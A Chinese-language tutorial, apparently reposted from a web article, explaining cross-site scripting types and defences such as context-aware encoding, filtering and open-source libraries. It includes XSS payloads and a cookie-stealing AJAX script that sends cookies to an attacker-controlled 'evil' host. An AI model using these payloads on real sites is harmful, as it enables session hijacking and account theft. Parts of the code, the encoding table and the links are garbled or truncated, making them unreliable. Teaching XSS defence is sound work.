如何防⽌跨站点脚本攻击
1. 简介
跨站点脚本(XSS)是当前web应⽤中最危险和最普遍的漏洞之⼀。安全研究⼈员在⼤部分最受欢迎的⽹站,包括Google, Facebook, Amazon, PayPal等⽹站都发现这个漏洞。如果你密切关注bug赏⾦计划,会发现报道最多的问题属于XSS。为了避免跨站脚本,浏览器也有⾃⼰的过滤器,但安全研究⼈员总是能够设法绕过这些过滤器。
这种漏洞(XSS)通常⽤于发动cookie窃取、恶意软件传播(蠕⾍攻击),会话劫持,恶意重定向。在这种攻击中,攻击者将恶意JavaScript代码注⼊到⽹站页⾯中,这样”受害”者的浏览器就会执⾏攻击者编写的恶意脚本。这种漏洞容易到,但很难修补。这就是为什么你可以在任何⽹站发现它的⾝影。
在这篇⽂章中,我们将看到跨站脚本攻击是什么以及如何创建⼀个过滤器来阻⽌它。我们还将看到⼏个开源库,将帮助你修补在web应⽤程序中的跨站脚本漏洞。
2. 跨站点脚本是什么?跨站点脚本攻击是⼀种Web应⽤程序的攻击,攻击者尝试注⼊恶意脚本代码到受信任的⽹站上执⾏恶意操作。在跨站点脚本攻击中,恶意代码在受影响⽤户的浏览器端执⾏,并对⽤户的影响。也被称为XSS攻击。你可能有⼀个疑问就是为什么我们叫它”XSS”,⽽不是”CSS”。
对于⼴⼤的web程序猿来说。在⽹页设计中,我们已经把级联样式表叫做CSS。因此为了避免混淆,我们把cross-site scripting称为XSS。
现在,让我们回到XSS攻击。这个漏洞发⽣在⽹站应⽤程序接收⽤户的输⼊数据却没有做必要的编码。如果对⽤户输⼊的数据没有进⾏正确的编码和过滤,这个被注⼊恶意脚本将被发送给其他⽤户。对浏览器来说,它没有办法知道它不应该相信⼀个脚本的合法性。浏览器会正常地把这个脚本当成普通脚本执⾏,这个时候恶意的操作就不可避免的发⽣了。⼤部分的时候,XSS是⽤来窃取cookie,或窃取有效⽤户的会话令牌session,以此进⾏会话劫持。
3. XSS的演⽰
Example 1:⼏乎所有的⽹站上看到⼀个搜索框。有了这个搜索框,你可以搜索并到在⽹站上存放的资料。这种搜索形式看起来像这样
<form action="search.php" method="get">
<input type="text" name="q" value="" />
<input type="submit" value="send" />
</form>
在search.php页⾯中,代码显⽰了搜索的结果,并且列出了⽤户输⼊的搜索关键字。形式如下: “Search results for Keyword”或者”You Searched for Keyword”search.php可以这么写来模拟功能:
<h3>You Searched for: <?php echo($_GET['q']); ?>
⽆论你输⼊任何关键字,它将随搜索结果⼀起被显⽰在⽹页上。现在想想会发⽣什么,如果⼀个攻击者试图从这个地⽅注⼊以下恶意脚本。
<script>alert('XSS injection')</script>
可以看到,因为缺少对⽤户输⼊的有效的”编码”和”过滤”。导致了XSS攻击的发⽣,其实从本质上理解,XSS就是⼀种HTML的注⼊,和传统的buffer overflow是类似的思想,即没有对数据和代码进⾏有效的分离,在缓冲区溢出总,攻击者在通过超长的数据包发送覆盖了程序buffer的关键返回ret位置,导致CPU控制流的劫持,错误地把攻击者数据当作代码来执⾏,最后导致了缓冲区溢出。
⽽XSS中的HTML注⼊也是⼀种利⽤代码和数据未有效分离的攻击,只不过攻击发⽣在受害者⽤户的浏览器上,攻击者将数据发送给服务器,服务器没有对输⼊的数据进⾏有效的”编码”和”过滤”(即去除数据本⾝的代码特性,对于HTML来说就是去除它们称为Tag标签的可能),导致了这些数据在⽤户的浏览器上得到执⾏,最终导致XSS攻击的发⽣。
Example 2:
很多⽹站都有私信或者留⾔板功能。登录⽤户可以发表评论或者给其他⽤户(包括管理员)发送私信。⼀个最简单的模拟表单如下:
<form action="sendmessage.php" method="post'">
<textarea name="message"> </textarea>
<input type="submit" value="send" />
</form>
当⽤户点击发送时,这条消息会被保存在数据库中指定的数据表中,另⼀个⽤户当打开这条消息的时候将看到发送的内容。但是,如果⼀个恶意攻击者发送的内容包含了⼀些javascript代码,这些代码⽤于偷取敏感的cookie信息。当⽤户打开看到这条消息的时候,恶意的javascript代码就会得到执⾏,造成敏感cookie信息泄漏。攻击者可以利⽤获得这些cookie信息进⾏session hijacking会话劫持,直接以合法⽤户的⾝份登录其他⽤户的账户。
恶意攻击者可以在消息框中加⼊⼀下javascript代码:
var url = "www.evil/index.php";  //攻击者控制的服务器
var postStr = "ck=" + kie;
var ajax = null;
if(window.XMLHttpRequest())
{
ajax = new XMLHttpRequest();
}
else if(window.ActiveXObject)
{
ajax = new ActiveXObject("Microsoft.XMLHttp");
}
else
{
return;
}
ajax.open("POST", url, true);
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);
{
adyState == 4 && ajax.status == 200)
{
/
/alert("Done!");
}
}
通过AJAX异步请求,将被攻击者的敏感cookie信息发送给了攻击者控制的服务器。攻击者随后即可利⽤这些cookie信息以”合法”⽤户的⾝份进⾏登录操作。
这⾥⾸先要理清楚⼏个重要的问题:
1. cookie的作⽤
Cookie,有时也⽤其复数形式Cookies,指某些⽹站为了辨别⽤户⾝份、进⾏session跟踪⽽储存在⽤户本地终端上的数据(通常经过加密)。定义于RFC2109(已废弃),最新取代的规范是RFC2965。
也就是说,cookie是⽤户和服务器之间的桥梁。服务器可以使⽤session来保存⽤户的⾝份信息(ID,购物车等),但是需要⽤户在访问⽹页(发送HTTP数据包)的时候附带上相应的cookie,通过cookie中的特定值来识别sessionID,才能把单独⽤户和单独的session联系起来。cookie是有状态HTTP交互的⼀种重要机制。
2. 浏览器的同源策略
在进⾏cookie窃取的时候,攻击者偷取的cookie是什么,是全部cookie,还是当前这个⽹站的cookie?要解决这个问题,我们要先了解⼀些浏览器的同源策略。
同源策略,它是由Netscape提出的⼀个著名的安全策略。
现在所有⽀持JavaScript 的浏览器都会使⽤这个策略。
所谓同源是指,域名,协议,端⼝相同。
当⼀个浏览器的两个tab页中分别打开来百度和⾕歌的页⾯
当浏览器的百度tab页执⾏⼀个脚本的时候会检查这个脚本是属于哪个页⾯的,
即检查是否同源,只有和百度同源的脚本才会被执⾏。
同源策略(Same Origin Policy)是⼀种约定,它是浏览器最核⼼也是最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说web 是构建在同源策略的基础之上的,浏览器只是针对同源策略的⼀种实现。
浏览器的同源策略限制了来⾃不同源的”document”或脚本,对当前”document”的读取或者设置某些属性。为了不让浏览器的页⾯⾏为发⽣混乱,浏览器提出
了”Origin”(源)这以概念,来⾃不同的Origin的对象⽆法互相⼲扰。
因为同源策略的原因,也就导致了我们的XSS Payload(XSS攻击代码)必须在我们希望攻击的同⼀个域下触发。例如攻击者如果想窃取在下的cookie,那就必须在这个域(可以是不同页⾯,但要保证是同⼀个域)下的的某⼀个页⾯放置XSS代码,可以是存储型,也可以是反射型或DOM Baesd型的。
4. XSS攻击的种类
对XSS的分类没有明确的标准,但业界普遍将XSS攻击分为三类。反射型XSS(non-persistent XSS), 存储型XSS(persistent XSS), DOM Based XSS
4.1 ⾮持久性跨站点脚本攻击
⾮持久性XSS也称为反射型跨站漏洞。它是最常见的类型的XSS。漏洞产⽣的原因是攻击者注⼊的数据反映在响应中。如果你看了我们上⾯所⽰的例⼦,第⼀个例⼦是⼀个⾮持久的XSS攻击。⼀个典型的⾮持久性XSS包含⼀个带XSS攻击向量的链接(即每次攻击需要⽤户的点击)。
4.2 持久的跨站点脚本攻击
持久型跨站点脚本也称为存储跨站点脚本。它⼀般发⽣在XSS攻击向量(⼀般指XSS攻击代码)存储在⽹站数据库,当⼀个页⾯被⽤户打开的时候执⾏。每当⽤户打开浏览器,脚本执⾏。在上⾯的⽰例中,第⼆个例⼦就展⽰了⼀个持久的XSS攻击。持久的XSS相⽐⾮持久性XSS攻击危害性更⼤,因为每当⽤户打开页⾯,查看内容时脚本将⾃动执⾏。⾕歌的orkut曾经就遭受到XSS。
4.3 基于dom的跨站点脚本攻击
基于DOM的XSS有时也称为type0 XSS。当⽤户能够通过交互修改浏览器页⾯中的DOM(Document Object Model)并显⽰在浏览器上时,就有可能产⽣这种漏洞,从效果上来说它也是反射型XSS。通过修改页⾯的DOM节点形成的XSS,称之为DOM Based XSS。
<script>
function test()
{
var str = ElementById("text").value;
}
</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />
在这个场景中,代码修改了页⾯的DOM节点,通过innerHTML把⼀段⽤户数据当作HTML写⼊到页⾯中,这就造成了DOM Based XSS
' onclick=alert(/xss/) '
输⼊后,页⾯代码就变成了:
<a href='' onclick=alert(/xss/) '' >testLink</a>
点击这个新⽣成的链接,脚本将被执⾏。
实际上,这⾥还有另外⼀种利⽤⽅式—除了构造⼀个新事件外,还可以选择闭合掉<a>标签,并插⼊⼀个新的HTML标签:
'><img src=# onerror=alert(/xss2/) /><'
页⾯代码变成了:
<a href=''><img src=# onerror=alert(/xss2/) /><'' >testLink</a>
5. XSS漏洞产⽣的原因
跨站点脚本的主要原因是程序猿对⽤户的信任。开发⼈员轻松地认为⽤户永远不会试图执⾏什么出格的事情,所以他们创建应⽤程序,却没有使⽤任何额外的代码来过滤⽤户输⼊以阻⽌任何恶意活动。另⼀个原因是,这种攻击有许多变体,⽤制造出⼀种⾏之有效的XSS过滤器是⼀件⽐较困难的事情。但是这只是相对的,对⽤户输⼊数据的”编码”和”过滤”在任何时候都是很重要的,我们必须采取⼀些针对性的⼿段对其进⾏防御。
6. 如何创造⼀个良好的XSS过滤器来阻⽌⼤多数XSS攻击代码
6.1 需要重点”编码”和”过滤”的对象
The URL
HTTP referrer objects
GET parameters from a form
POST parameters from a form
Window.location
document.location
document.URL
document.URLUnencoded
cookie data
headers data
database data
防御XSS有⼀个原则:
以当前的应⽤系统为中⼼,所有的进⼊应⽤系统的数据都看成是输⼊数据(包括从FORM表单或者从数据库获取到的数据),所有从当前应⽤系统流出的数据都看作是输出(包括输出到⽤户浏览器或向数据库写⼊数据)
对输⼊的数据进⾏”过滤”,对输出数据进⾏”编码”。这⾥的”编码”也要注意,必须针对数据具体的上下⽂语境进⾏针对性的编码。例如数据是输出到HTML中的那就要进⾏HtmlEncode,如果数据是输出到javascript代码中进⾏拼接的,那就要进⾏javascriptEncode。
如果不搞清楚数据具体输出的语境,就有可能因为HtmlParser()和javascriptParser()两种解析引擎的执⾏先后问题导致看似严密的”编码”形同虚设。
6.2 HtmlEncode HTML编码
它的作⽤是将字符转换成HTMLEntities,对应的标准是ISO-8859-1 为了对抗XSS,在HtmlEncode中要求⾄少转换以下字符:
&  -->  &
<  -->  <
>  -->  >
"  -->  "
'  -->  '
/  -->  /
在PHP中:
htmlentities
htmlspecialchars
6.3 javascriptEncode javascript”编码”
javascriptEncode与HtmlEncode的编码⽅法不同,HtmlEncode是去编码,⽽javascriptEncode更多的像转义,它需要使⽤”\”对特殊字符进⾏转义。从原理上来讲,这都符合编码函数的⼀个⼤原则: 将数据和代码区分开,因为对于HTML Tag来说,我们对其进⾏”可视化(转换成可以见字符)”的编码可以将数据和
HTML的界限分开。⽽对于javascript来说,我们除了要进⾏编码之外,还需要对特殊字符进⾏转义,这样攻击输⼊的⽤于”闭合”的特殊字符就⽆法发挥作⽤,从⽽避免XSS攻击,除此之外,在对抗XSS时,还要求输出的变量必须在引号内部,以避免造成安全问题。
escape()
该⽅法不会对 ASCII 字母和数字进⾏编码,也不会对下⾯这些 ASCII 标点符号进⾏编码: * @ – _ + . / 。其他所有的字符都会被转义序列(⼗六进制\xHH)替换。利⽤这个编码函数,不仅能防御XSS攻击,还可以防御⼀些command注⼊。
7. ⼀些开源的防御XSS攻击的代码库
PHP AntiXSS
这是⼀个不错的PHP库,可以帮助开发⼈员增加⼀层保护,防⽌跨站脚本漏洞。
le/p/php-antixss/
当前页面脚本发生错误xss_clean.php filter
gist.github/mbijon/1098477
HTML Purifier
/
xssprotect
le/p/xssprotect/
XSS HTML Filter
finn-no.github.io/xss-html-filter/